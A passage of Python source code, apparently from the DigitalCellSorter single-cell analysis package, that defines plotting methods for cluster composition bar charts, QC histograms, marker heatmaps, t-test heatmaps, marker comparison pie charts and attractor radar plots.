includeLowQC:\r\n try:\r\n cells_all = pd.read_hdf(self.fileHDFpath, key='df_projection_pre_QC', mode='r').columns.get_level_values('cell')\r\n cells_high = pd.read_hdf(self.fileHDFpath, key='df_projection', mode='r').columns.get_level_values('cell')\r\n cells_low_count = len(cells_all.difference(cells_high))\r\n\r\n del cells_all, cells_high\r\n\r\n df_main.loc[self.nameForLowQC, df_main.columns[0]] = cells_low_count\r\n df_main.loc[self.nameForLowQC, df_main.columns[1]] = -1\r\n\r\n colors[self.nameForLowQC] = (0.6, 0.6, 0.6, 1.)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n print('QC data not found')\r\n\r\n df_main = df_main.apply(lambda x: 100. * x / np.sum(df_main, axis=0), axis=1).loc[np.sum(df_main, axis=1) > 0].sort_values(by=[s]).drop(columns=[s])\r\n\r\n return df_main, colors, clusterName\r\n\r\n if clusterName is None:\r\n clusterName = self.dataName\r\n\r\n df_Main, colors, clusterName = get_stacked_data_and_colors(self.saveDir)\r\n\r\n if legendStyle:\r\n fig,ax = plt.subplots(figsize=(4.5,8)) #4.15\r\n else:\r\n fig = plt.figure(figsize=(4.5,8))\r\n ax = fig.add_axes([0.2, 0.05, 0.1, 0.9])\r\n\r\n barWidth = 1.0\r\n cellTypes = df_Main.index\r\n bottom = np.zeros((len(df_Main.columns)))\r\n\r\n centers = []\r\n fractions = []\r\n for i in range(len(cellTypes)):\r\n bottom += df_Main.loc[cellTypes[i - 1]].values if i > 0 else 0\r\n ax.bar(range(len(df_Main.columns)), list(df_Main.loc[cellTypes[i]]), bottom=list(bottom), color=colors.loc[cellTypes[i]], edgecolor='white', width=barWidth, label=cellTypes[i])\r\n\r\n centers.append(bottom + 0.5 * df_Main.loc[cellTypes[i]].values[0])\r\n fractions.append(df_Main.loc[cellTypes[i]].values[0])\r\n \r\n plt.xticks(range(len(df_Main.columns)), list(df_Main.columns), fontsize=12)\r\n plt.yticks([0,20,40,60,80,100], ['0','20%','40%','60%','80%','100%'], fontsize=12)\r\n \r\n handles, labels = ax.get_legend_handles_labels()\r\n ms = np.max([len(item) for item in labels]) - len('cell')\r\n labels = [item.replace(' ','\\n').replace('\\nCD4', ' CD4').replace('CD4\\n', 'CD4 ').replace('\\ncell', ' cell').replace('B\\n', 'B ').replace('T\\n', 'T ') if len(item) >= ms else item for item in labels[::-1]]\r\n\r\n if legendStyle:\r\n ax.legend(handles[::-1], labels, loc='upper left', bbox_to_anchor=(1,1), ncol=1, frameon=False, fontsize=14, labelspacing=1, title = ''.join([' ' for _ in range(60)]))\r\n else:\r\n fractions = np.round(np.array(fractions)[::-1], 1)\r\n centers = np.round(np.array(centers).T[0][::-1], 0)\r\n centers_orig = centers.copy()\r\n step = 5.\r\n\r\n for i in range(len(centers) - 2,0,-1):\r\n if (centers[i] - centers[i + 1]) < step:\r\n centers[i] = centers[i + 1] + step\r\n \r\n for i in range(len(centers)):\r\n ax.text(1.3, centers[i], '%s%% ' % (fractions[i]) + labels[i], fontsize=fontsize, va='center', ha='left')\r\n ax.plot([0.65, 1.2], [centers_orig[i], centers[i]], c='k', lw=0.75, clip_on=False)\r\n\r\n plt.xlim((-0.5, len(df_Main.columns) - 0.5))\r\n plt.ylim((0, 100))\r\n\r\n for spine in plt.gca().spines.values():\r\n spine.set_visible(False)\r\n \r\n if legendStyle:\r\n fig.tight_layout()\r\n\r\n saveName = \"%s_subclustering_stacked_barplot_%s\" % (self.dataName, ('All cell clusters' if clusterName == None else clusterName).replace(' ', '_').replace('*', ''))\r\n self.saveFigure(fig, self.saveDir, saveName, extension=extension, dpi=dpi, **kwargs)\r\n\r\n if self.verbose >= 2:\r\n print('Saved stacked bar plot: %s' % ('All cell clusters' if clusterName == None else clusterName))\r\n\r\n return fig\r\n \r\n @tryExcept\r\n def makeQualityControlHistogramPlot(self, subset, cutoff, plotPathAndName = None, N_bins = 100, mito = False, displayMeasures = True, precision = 4, quantilePlotCutoff = 0.95, dpi = 300, extension = 'png', fontScale = 1.5, includeTitle = False, **kwargs):\r\n\r\n '''Function to calculate QC quality cutoff and visualize it on a histogram\r\n\r\n Parameters:\r\n subset: pandas.Series\r\n Data to analyze\r\n\r\n cutoff: float\r\n Cutoff to display\r\n\r\n plotPathAndName: str, Default None\r\n Text to include in the figure title and file name\r\n\r\n N_bins: int, Default 100\r\n Number of bins of the histogram\r\n\r\n mito: boolean, Default False\r\n Whether the analysis of mitochondrial genes fraction\r\n\r\n displayMeasures: boolean, Default True\r\n Print vertical dashed lines along with mean, median, and standard deviation\r\n\r\n precision: int, Default 4\r\n Number of digits after decimal\r\n\r\n quantilePlotCutoff: float, Default 0.99\r\n Distributions are cut to display the range from 0 to quantilePlotCutoff\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n fontScale: float, Default 1.5\r\n Scale most of the figure fonts\r\n\r\n includeTitle: boolean, Default False\r\n Whether to include title on the figure\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n cutoff = DCS.makeQualityControlHistogramPlot(subset, cutoff)\r\n '''\r\n\r\n if plotPathAndName is None:\r\n plotPathAndName = 'QC_Plot'\r\n\r\n range_min = 0. #np.min(subset)\r\n\r\n if mito:\r\n range_max = max(1.1 * cutoff, np.quantile(subset, quantilePlotCutoff) + 0.05)\r\n else:\r\n range_max = np.quantile(subset, quantilePlotCutoff)\r\n\r\n hist_of_subset = scipy.stats.rv_histogram(np.histogram(subset, bins=N_bins, range=(range_min, range_max)))\r\n hist_data = hist_of_subset._hpdf / N_bins\r\n hist_bins = hist_of_subset._hbins\r\n\r\n fig, ax = plt.subplots(figsize=(8,8))\r\n\r\n bar_bin_width = range_max / N_bins\r\n ax.bar(hist_bins, hist_data[:-1], width=0.9 * bar_bin_width, color='b', align='center')\r\n\r\n try:\r\n title = os.path.basename(plotPathAndName)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n title = plotPathAndName\r\n\r\n if includeTitle:\r\n ax.set_title(title, fontdict={'color': 'b'})\r\n\r\n ax.set_xlabel('Fraction' if mito else 'Count', fontsize=10 * fontScale)\r\n ax.set_ylabel('Density', fontsize=10 * fontScale)\r\n ax.set_ylim(0.,ax.get_ylim()[1])\r\n ax.set_xlim(range_min - 0.5 * bar_bin_width, range_max + 0.5 * bar_bin_width)\r\n\r\n ax.tick_params(labelsize=8 * fontScale)\r\n\r\n xs = np.linspace(hist_bins[0], hist_bins[-1], 1000)\r\n spline_data = np.vstack((xs, UnivariateSpline(hist_bins, hist_data[:-1], k=5, s=0)(xs))).T\r\n\r\n sg = scipy.signal.savgol_filter(spline_data.T[1], 101, 3)\r\n ax.plot(spline_data.T[0], sg, 'r', lw=3, alpha=0.95)\r\n\r\n try:\r\n x, y = cutoff, sg[np.where(spline_data.T[0] >= cutoff)[0][0]]\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n x, y = cutoff, 0.\r\n\r\n ax.plot([x,x], [0,y], 'k', lw=2)\r\n ax.plot(x, y, 'ko', ms=10, alpha=0.8)\r\n ax.plot(x, y, 'ro', ms=7)\r\n\r\n ax.text(x, -0.04 * spline_data.T[1].max(), str(np.round(cutoff, precision)), fontsize=8 * fontScale, va='top', ha='center', color='r')\r\n\r\n ax.ticklabel_format(axis='y', style='sci', scilimits=(0,0), useMathText=False)\r\n\r\n ax.axvspan(cutoff, 1.5 * range_max if mito else -1.5 * range_min, alpha=0.1, color='red', hatch='\\\\', linewidth=0.1)\r\n\r\n fig.tight_layout()\r\n\r\n if displayMeasures:\r\n texts = []\r\n\r\n dist_std, dist_median, dist_mean = np.round(np.std(subset),precision), np.round(np.median(subset),precision), np.round(np.mean(subset),precision)\r\n\r\n if self.verbose >= 2:\r\n print(plotPathAndName, '\\tstd:', dist_std, '\\tmedian:', dist_median, '\\tmean:', dist_mean)\r\n\r\n xspan = ax.get_xlim()[1] - ax.get_xlim()[0]\r\n yspan = ax.get_ylim()[1] - ax.get_ylim()[0]\r\n \r\n ax.axvline(x=dist_mean, color='k', lw=1.0, ls='--')\r\n text = ax.text(dist_mean + 0.02 * xspan, 0.98 * yspan, r'$\\mu=%s$' % (dist_mean), fontsize=fontScale * 10, va='top', ha='left', color='k')\r\n text.set_path_effects([path_effects.Stroke(linewidth=1, foreground='white'),path_effects.Normal()])\r\n texts.append(text)\r\n\r\n ax.axvline(x=dist_median, color='k', lw=1.0, ls='--')\r\n text = ax.text(dist_median + 0.02 * xspan, 0.94 * yspan, r'$M=%s$' % (dist_median), fontsize=fontScale * 10, va='top', ha='left', color='k')\r\n text.set_path_effects([path_effects.Stroke(linewidth=1, foreground='white'),path_effects.Normal()])\r\n texts.append(text)\r\n \r\n ax.axvline(x=dist_median - dist_std, color='k', lw=1.0, ls='--')\r\n text = ax.text(dist_median - dist_std + 0.02 * xspan, 0.90 * yspan, r'$M-\\sigma=%s$' % (np.round(dist_median - dist_std,precision)), fontsize=fontScale * 10, va='top', ha='left', color='k')\r\n text.set_path_effects([path_effects.Stroke(linewidth=1, foreground='white'),path_effects.Normal()])\r\n texts.append(text)\r\n \r\n ax.axvline(x=dist_median + dist_std, color='k', lw=1.0, ls='--')\r\n text = ax.text(dist_median + dist_std + 0.02 * xspan, 0.90 * yspan, r'$M+\\sigma=%s$' % (np.round(dist_median + dist_std,precision)), fontsize=fontScale * 10, va='top', ha='left', color='k')\r\n text.set_path_effects([path_effects.Stroke(linewidth=1, foreground='white'),path_effects.Normal()])\r\n texts.append(text)\r\n\r\n text = ax.text(dist_median + 0.02 * xspan, 0.76 * yspan, r'$\\sigma=%s$' % (np.round(dist_std,precision)), fontsize=fontScale * 10, va='bottom', ha='left', color='k')\r\n text.set_path_effects([path_effects.Stroke(linewidth=1, foreground='white'),path_effects.Normal()])\r\n texts.append(text)\r\n\r\n ax.annotate('', (dist_median + dist_std, 0.75 * yspan), (dist_median, 0.75 * yspan), arrowprops={'arrowstyle':'<|-|>'})\r\n\r\n if not mito:\r\n text = ax.text(0.98, 0.65, \r\n '%s%%\\nof distribution \\nis shown' % (100. * quantilePlotCutoff), \r\n va='top', ha='right', fontsize=fontScale * 10, transform=ax.transAxes)\r\n text.set_path_effects([path_effects.Stroke(linewidth=0.5, foreground='white'),path_effects.Normal()])\r\n \r\n adjust_text(texts)\r\n\r\n self.saveFigure(fig, os.path.dirname(plotPathAndName), label=os.path.basename(plotPathAndName) + '_histogram', extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def makePlotOfNewMarkers(self, df_marker_cell_type, df_new_marker_cell_type, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce plot of the new markers extracted from the annotated clusters\r\n\r\n Parameters:\r\n df_marker_cell_type: pandas.DataFrame\r\n Known markers per cell types\r\n\r\n df_new_marker_cell_type: pandas.DataFrame\r\n New markers per cell types\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makePlotOfNewMarkers(df_marker_cell_type, df_new_marker_cell_type)\r\n '''\r\n\r\n ORDERx = scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df_new_marker_cell_type.values.T, 'ward'), no_plot=True, get_leaves=True)['leaves']\r\n ORDERy = scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df_new_marker_cell_type.values, 'ward'), no_plot=True, get_leaves=True)['leaves']\r\n\r\n genes = df_new_marker_cell_type.columns.values[ORDERx]\r\n celltypes = df_new_marker_cell_type.index.values[ORDERy]\r\n\r\n df_marker_cell_type = df_marker_cell_type[[celltype for celltype in celltypes if celltype in df_marker_cell_type.columns]]\r\n\r\n fig, ax = plt.subplots(figsize=(13,3))\r\n ax.imshow(df_new_marker_cell_type.values[ORDERy,:][:,ORDERx], cmap='Blues', interpolation='None', aspect='auto')\r\n ax.set_xticks([])\r\n ax.set_yticks(range(len(celltypes)))\r\n ax.set_yticklabels(celltypes, rotation=0, fontsize=8)\r\n ax.set_xlim([-0.5,df_new_marker_cell_type.shape[1] - 0.5])\r\n ax.set_ylim([-0.5,df_new_marker_cell_type.shape[0] - 0.5])\r\n\r\n for i, celltype in enumerate(celltypes):\r\n if celltype in df_marker_cell_type.columns:\r\n known_markers = df_marker_cell_type[celltype][df_marker_cell_type[celltype] > 0.].index.values\r\n xy = np.array([np.array([np.where(genes == marker)[0][0], i]) for marker in known_markers if marker in genes])\r\n\r\n if self.verbose >= 3:\r\n print('Overlapping positive markers of %s: %s (%s)' % (celltype, len(xy), len(known_markers)))\r\n if len(xy) > 0:\r\n ax.plot(xy.T[0], xy.T[1], 'go', markeredgecolor='r', ms=1.0, markeredgewidth=0.2)\r\n\r\n known_markers = df_marker_cell_type[celltype][df_marker_cell_type[celltype] < 0.].index.values\r\n xy = np.array([np.array([np.where(genes == marker)[0][0], i]) for marker in known_markers if marker in genes])\r\n\r\n if self.verbose >= 3:\r\n print('Overlapping negative markers of %s: %s (%s)' % (celltype, len(xy), len(known_markers)))\r\n if len(xy) > 0:\r\n ax.plot(xy.T[0], xy.T[1], 'ro', markeredgecolor='r', ms=1.0, markeredgewidth=0.2)\r\n\r\n #ax.set_title('Additional markers along with the overlapping part of the input (red)')\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_new_markers', extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n\r\n @tryExcept\r\n def makeTtestPlot(self, df, dfp, label = None, reorder = True, p_value_cutoff = 0.05, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce heatmap plot of t-test p-Values calculated gene-pair-wise\r\n from the annotated clusters.\r\n\r\n Parameters:\r\n df: pandas.DataFrame\r\n t-test statistic values\r\n \r\n dfp: pandas.DataFrame\r\n t-test p-Values calculated gene-pair-wise\r\n\r\n label: str, Default None\r\n Lebel to include in the plot\r\n \r\n reorder: boolean, Default True\r\n Reorder values to group similar\r\n\r\n p_value_cutoff: float, Default 0.05\r\n p-Value cutoff\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeTtestPlot(df)\r\n '''\r\n\r\n if reorder:\r\n\r\n def metricCommonEuclidean(u,v):\r\n\r\n where_common = (~np.isnan(u)) * (~np.isnan(v))\r\n\r\n return np.sqrt(((u[where_common] - v[where_common]) ** 2).sum())\r\n\r\n order = scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df.values, method='average', metric=metricCommonEuclidean), no_plot=True, get_leaves=True)['leaves']\r\n\r\n df = df[df.columns.values[order]]\r\n dfp = dfp[dfp.columns.values[order]]\r\n df = df.loc[df.index.values[order]]\r\n dfp = dfp.loc[dfp.index.values[order]]\r\n\r\n df = df[df.columns[::-1]]\r\n dfp = dfp[dfp.columns[::-1]]\r\n\r\n fig = plt.figure(figsize=(5,5))\r\n\r\n ax = fig.add_axes([0.35,0.02,0.6,0.6])\r\n \r\n cmap = plt.cm.PuOr_r #BrBG #PiYG #seismic\r\n cmap.set_bad('grey')\r\n\r\n ax.imshow(df.values.astype(float), cmap=cmap, interpolation='None', aspect='auto')\r\n\r\n wh = np.where(dfp.values.T <= p_value_cutoff)\r\n ax.plot(wh[0], wh[1], '*k')\r\n\r\n ax.set_xticks(range(df.shape[1]))\r\n ax.set_yticks(range(df.shape[0]))\r\n ax.set_xticklabels(df.columns.values, rotation=90, fontsize=8)\r\n ax.set_yticklabels(df.index.values, rotation=0, fontsize=8)\r\n ax.set_xlim([-0.5, df.shape[1] - 0.5])\r\n ax.set_ylim([-0.5, df.shape[0] - 0.5])\r\n\r\n ax.xaxis.tick_top()\r\n\r\n if not label is None:\r\n ax.text(-0.5, 1.5, label, transform=ax.transAxes, fontsize=10, color='k', ha='left', va='top').set_path_effects([path_effects.Stroke(linewidth=0.5, foreground='blue'),path_effects.Normal()])\r\n\r\n ax.set_title('Two-tailed p-Value (t-test)')\r\n\r\n data = df.values.flatten().astype(float)\r\n data = data[np.where(~np.isnan(data))]\r\n dataMin = np.min(data)\r\n dataMax = np.max(data)\r\n\r\n axisColor = fig.add_axes([0.22,0.75,0.08,0.02])\r\n\r\n norm = matplotlib.colors.Normalize(vmin=dataMin, vmax=dataMax)\r\n mapp = cm.ScalarMappable(norm=norm, cmap=cmap)\r\n mapp.set_array(data)\r\n fig.colorbar(mapp, cax=axisColor, ticks=[dataMax,dataMin], orientation='horizontal')\r\n axisColor.tick_params(labelsize=4)\r\n axisColor.set_xlabel('Statistic\\n*p-Value < %s' % (p_value_cutoff), fontsize=5)\r\n\r\n axisColor.set_yticklabels([np.round(dataMax,2), np.round(dataMin,2)])\r\n\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_ttest_%s' % (label.replace('\\n', '_')), extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n \r\n @tryExcept\r\n def makeCellMarkersPiePlot(self, type1, type2, df_marker_cell_type = 'all', nameToAppend = None, listUnexpressedMarkers = True, orthogonalSectorsShift = 0.1, rotationAngle = 0, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Make summary of markers comparison between two cell types.\r\n\r\n Parameters:\r\n type1: str\r\n Name of the first cell type to compare\r\n \r\n type2: str\r\n Name of the second cell type to compare\r\n\r\n df_marker_cell_type: pandas.DataFrame or str, Default 'all'\r\n Celltypes/Markers matrix. If 'expressed', then only expressed markers will be used.\r\n If 'all' then all markers of the input marker list will be used.\r\n If an instance of a pandas.DataFrame is passed, then its all markers will be used.\r\n\r\n nameToAppend: str, Default None\r\n String to append to the figure file name.\r\n\r\n listUnexpressedMarkers: boolean, Default True\r\n List (highlight) markers that are not expressed. This option is ignored\r\n unless df_marker_cell_type=='all'\r\n\r\n orthogonalSectorsShift: float, Default 0.1\r\n Sectors marked as '+/-' and '-/+' are shifted off-center.\r\n Set this parameter to zero to have round continuous pie chart.\r\n\r\n rotationAngle: int or float, Default 0\r\n Angle in degrees that will rotate the whole pie chart counterclockwise.\r\n\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n Marker lists split into categories.\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeCellMarkersPiePlot('T cells', 'B cells')\r\n '''\r\n\r\n try:\r\n df_marker_expression = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), \r\n sheet_name='Marker cell type weight matrix', index_col=0, header=0).T\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n print('Marker expression data unavailable')\r\n df_marker_expression = None\r\n listUnexpressedMarkers = False\r\n\r\n if type(df_marker_cell_type) is str:\r\n if df_marker_cell_type == 'expressed':\r\n listUnexpressedMarkers = False\r\n\r\n if not df_marker_expression is None:\r\n df_marker_cell_type = df_marker_expression\r\n else:\r\n if self.verbose >= 1:\r\n print(\"Try using option 'all'\")\r\n\r\n return\r\n\r\n additional_name = 'expressed'\r\n elif df_marker_cell_type == 'all':\r\n df_marker_cell_type = self.readMarkerFile()\r\n additional_name = 'all'\r\n\r\n if nameToAppend is None:\r\n nameToAppend = '.'.join(os.path.basename(self.geneListFileName).split('.')[:-1])\r\n else:\r\n additional_name = 'custom'\r\n \r\n if nameToAppend is None:\r\n nameToAppend = ''\r\n\r\n df_marker_cell_type = df_marker_cell_type.fillna(0.)\r\n\r\n def getSet(df, celltype):\r\n\r\n try:\r\n pos = set(df.index[(df.loc[:, celltype] > 0.)].values)\r\n neg = set(df.index[(df.loc[:, celltype] < 0.)].values)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n print('Cell type %s not found' % (celltype))\r\n print('Available celltypes are: %s' % (df.columns.values.tolist()))\r\n\r\n return\r\n\r\n return pos, neg\r\n\r\n def getEightAll(t1p, t2p, t1n, t2n):\r\n\r\n p1 = t1p.intersection(t2n)\r\n p3 = t1n.intersection(t2n)\r\n p5 = t1n.intersection(t2p)\r\n p7 = t1p.intersection(t2p)\r\n\r\n p0 = t1p - p1 - p7\r\n p2 = t2n - p1 - p3\r\n p4 = t1n - p3 - p5\r\n p6 = t2p - p5 - p7\r\n\r\n all = t1p.union(t2p).union(t1n).union(t2n)\r\n\r\n return [p0, p1, p2, p3, p4, p5, p6, p7], all\r\n \r\n try:\r\n t1p, t1n = getSet(df_marker_cell_type, type1)\r\n t2p, t2n = getSet(df_marker_cell_type, type2)\r\n\r\n sets, all = getEightAll(t1p, t2p, t1n, t2n)\r\n except:\r\n return\r\n\r\n if listUnexpressedMarkers:\r\n try:\r\n t1pe, t1ne = getSet(df_marker_expression, type1)\r\n t2pe, t2ne = getSet(df_marker_expression, type2)\r\n \r\n setsE, allE = getEightAll(t1pe, t2pe, t1ne, t2ne)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n listUnexpressedMarkers = False\r\n\r\n labels = '+/*', '+/-', '*/-', '-/-', '-/*', '-/+', '*/+', '+/+'\r\n colors = ['limegreen', 'thistle', 'lightcoral', 'red', 'lightcoral', 'thistle', 'limegreen', 'green']\r\n titles = ['Positive in %s:' % (type1),\r\n 'Positive in %s, Negative in %s:' % (type1, type2),\r\n 'Negative in %s:' % (type2),\r\n 'Negative in both:',\r\n 'Negative in %s:' % (type1),\r\n 'Negative in %s, Positive in %s:' % (type1, type2),\r\n 'Positive in %s:' % (type2),\r\n 'Positive in both:']\r\n sizes = [len(item) for item in sets]\r\n labels = [(label if size > 0 else '') for label, size in zip(labels, sizes)]\r\n explode = (0.0, orthogonalSectorsShift, 0.0, 0.0, 0.0, orthogonalSectorsShift, 0.0, 0.0)\r\n\r\n def findAll(a, b):\r\n\r\n start = 0\r\n\r\n while True:\r\n start = a.find(b, start)\r\n\r\n if start == -1: \r\n return\r\n\r\n yield start\r\n\r\n start += len(b)\r\n\r\n return\r\n\r\n if listUnexpressedMarkers:\r\n str_sets = [str(sorted([i for i in list(setsE[j])])).replace(\"'\", \"\").replace(']','').replace('[','').replace(' ','') for j in range(8)]\r\n else:\r\n str_sets = [str(sorted([i for i in list(sets[j])])).replace(\"'\", \"\").replace(']','').replace('[','').replace(' ','') for j in range(8)]\r\n\r\n for i, item in enumerate(str_sets):\r\n\r\n all_temp = item.split(',')\r\n new_item = all_temp[0]\r\n temp_item = all_temp[0]\r\n limit = 75\r\n\r\n for gene in all_temp[1:]:\r\n if len(temp_item) > limit:\r\n temp_item = '\\n' + gene\r\n new_item += '\\n' + gene\r\n else:\r\n new_item += ', ' + gene\r\n temp_item += ', ' + gene\r\n\r\n if listUnexpressedMarkers:\r\n str_sets[i] = titles[i] + ' (%s):' % (len(all_temp)) + '\\n' + new_item\r\n else:\r\n str_sets[i] = titles[i] + '\\n' + new_item\r\n\r\n if listUnexpressedMarkers:\r\n str_setsU = [str(sorted([i for i in list(sets[j].difference(setsE[j]))])).replace(\"'\", \"\").replace(']','').replace('[','').replace(' ','') for j in range(8)]\r\n \r\n for i, item in enumerate(str_setsU):\r\n\r\n all_temp = item.split(',')\r\n new_item = all_temp[0]\r\n temp_item = all_temp[0]\r\n limit = 75\r\n\r\n for gene in all_temp[1:]:\r\n if len(temp_item) > limit:\r\n temp_item = '\\n' + gene\r\n new_item += '\\n' + gene\r\n else:\r\n new_item += ', ' + gene\r\n temp_item += ', ' + gene\r\n\r\n if len(new_item) > 1:\r\n str_sets[i] += '\\n' + 'Not expressed (%s):' % (len(all_temp)) + '\\n' + new_item\r\n\r\n fig = plt.figure(figsize=(8,4))\r\n ax = fig.add_axes([0.25,0.25,0.5,0.5])\r\n\r\n currentWedge = 0\r\n\r\n def autopctFunc(value):\r\n\r\n nonlocal currentWedge\r\n\r\n n = int(np.round((float(value) / 100. * float(np.sum(sizes))), 0))\r\n\r\n if listUnexpressedMarkers:\r\n u = len(sets[currentWedge].difference(setsE[currentWedge]))\r\n else:\r\n u = 0\r\n\r\n if n > 0:\r\n if u > 0:\r\n format = \"{:d}\\n({:d})\".format(n,u)\r\n else:\r\n format = \"{:d}\".format(n)\r\n else:\r\n format = \"\"\r\n\r\n currentWedge += 1\r\n\r\n return format\r\n\r\n wedges, texts, autotexts = ax.pie(sizes, explode=explode, labels=labels, colors=colors, labeldistance=1.05, \r\n textprops={'size':6, 'weight':'semibold', 'color':'b'},\r\n autopct=autopctFunc, wedgeprops={'linewidth': 0.5, 'edgecolor':'aqua', 'width': 0.7},\r\n shadow=False, startangle=-180 + rotationAngle, frame=False, rotatelabels=False)\r\n\r\n plt.setp(autotexts, size=6, weight=\"semibold\", color='k')\r\n\r\n bbox_props = dict(boxstyle=\"square,pad=0.3\", fc=\"w\", ec=\"k\", lw=0.5)\r\n kw = dict(arrowprops=dict(arrowstyle=\"-\"), bbox=bbox_props, zorder=0, va=\"center\")\r\n\r\n for i, p in enumerate(wedges):\r\n\r\n if len(sets[i]) == 0:\r\n continue\r\n\r\n ang = (p.theta2 - p.theta1) / 2. + p.theta1\r\n y = np.sin(np.deg2rad(ang))\r\n x = np.cos(np.deg2rad(ang))\r\n\r\n horizontalalignment = {-1: \"right\", 1: \"left\"}[int(np.sign(x))]\r\n\r\n connectionstyle = \"angle,angleA=0,angleB={}\".format(ang)\r\n\r\n kw[\"arrowprops\"].update({\"connectionstyle\": connectionstyle})\r\n\r\n ax.annotate(str_sets[i], xy=(x, y), xytext=(1.6 * np.sign(x), 1.8 * y), fontsize=3.5, ha=horizontalalignment, **kw)\r\n\r\n fig.suptitle('%s & %s' % (type1, type2), fontsize=11, color='b')\r\n ax.axis('equal')\r\n\r\n ax.text(0., 0., '%s\\n(%s)' % (len(all), len(all.difference(allE))) if listUnexpressedMarkers else '%s' % (len(all)), \r\n color='k', fontsize=8, ha='center', va='center').set_path_effects([path_effects.Stroke(linewidth=1, foreground='blue'),path_effects.Normal()])\r\n\r\n saveName = 'Markers_of_%s_vs_%s_(%s)_%s' % (type1.replace('/',''), type2.replace('/',''), nameToAppend, additional_name)\r\n self.saveFigure(fig, self.saveDir, self.dataName + saveName, extension=extension, dpi=dpi, **kwargs)\r\n\r\n return dict(zip(labels, list(sets))), fig\r\n\r\n @tryExcept\r\n def makeHopfieldPCplot(self, colormap = cm.hot_r, plotTrLines = False, clusterid = 1, trID = 0, axisOff = False, fontscale = 1., trPath = None, dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Make radar plot of the attractors in their principal components coordinates\r\n\r\n Parameters:\r\n colormap: matplotlib.colormap or str, Default cm.hot_r\r\n Colormap or its string name\r\n\r\n plotTrLines: boolean, Default False\r\n Whether to plot trajectories\r\n\r\n clusterid: int, Default 1\r\n Identifier of the cluster to plot trajectories of\r\n\r\n trID: int, Default 0\r\n Identifier of the trajectories to plot\r\n\r\n axisOff: boolean, Default False\r\n Whether to hide the axes lines\r\n\r\n trPath: str, Default None\r\n Path to trajectories files\r\n\r\n dpi: int, Default 300\r\n Resolution of the figure\r\n\r\n extension: str, Default 'png'\r\n Format extension of the figure\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeHopfieldPCplot()\r\n '''\r\n\r\n if axisOff:\r\n ax.axis('off')\r\n\r\n if trPath is None:\r\n trPath = os.path.join(self.saveDir, 'HopfieldTrajectories')\r\n\r\n if not os.path.exists(trPath):\r\n if self.verbose >= 1:\r\n print('Data not found', flush=True)\r\n\r\n return\r\n\r\n fig = plt.figure(figsize=(8,8))\r\n ax = plt.subplot(111, polar=True, theta_direction=-1, theta_offset=0.5 * np.pi)\r\n\r\n attrs, attrs_names = read(os.path.join(trPath, 'attrs'))\r\n N = attrs.shape[1]\r\n df = pd.DataFrame(data=attrs[:N], index=attrs_names, \r\n columns=['PC%s\\n%s%%' % (i + 1, np.int(100. * attrs[N][i])) for i in range(N)])\r\n\r\n wherePC = attrs[N] > 0.001\r\n df = df[df.columns[wherePC]]\r\n N = df.shape[1]\r\n\r\n vmaxAt = df.max(axis=0).max()\r\n vminAt = df.min(axis=0).min()\r\n\r\n ax.set_ylim(vminAt, vmaxAt)\r\n \r\n angles = [n / float(N) * 2 * np.pi for n in range(N)] + [0.]\r\n \r\n ax.set_xticklabels([])\r\n ax.set_xticks(angles)\r\n\r\n for i, celltype in enumerate(df.index):\r\n values = df.loc[celltype].values.flatten().tolist()\r\n values.append(values[0])\r\n\r\n color = cm.jet(i / len(attrs_names))\r\n\r\n ax.plot(angles, values, color=color, linewidth=1.75, linestyle='solid', label=celltype)\r\n #ax.fill(angles, values, alpha=0.2, color=color, zorder=1)\r\n ax.fill_between(angles, 0, values, alpha=0.2, facecolor=color)\r\n\r\n temp_texts = ax.text(angles[np.argmax(values)], values[np.argmax(values)], celltype, color=color, fontsize=12. * fontscale, ha='center', va='center')\r\n temp_texts.set_path_effects([path_effects.Stroke(linewidth=1., foreground='k'), path_effects.Normal()])\r\n\r\n if plotTrLines:\r\n trajectories = read(os.path.join(trPath, 'trajectories%s') % (trID))\r\n\r\n initial, final, typesNames, clusterNames = read(os.path.join(trPath, 'additional'))\r\n \r\n thisTr = trajectories[:, clusterid, wherePC].T\r\n\r\n vmax = max(thisTr.max(axis=0).max(axis=0), vmaxAt)\r\n vmin = min(thisTr.min(axis=0).min(axis=0), vminAt)\r\n\r\n ax.set_ylim(vmin, 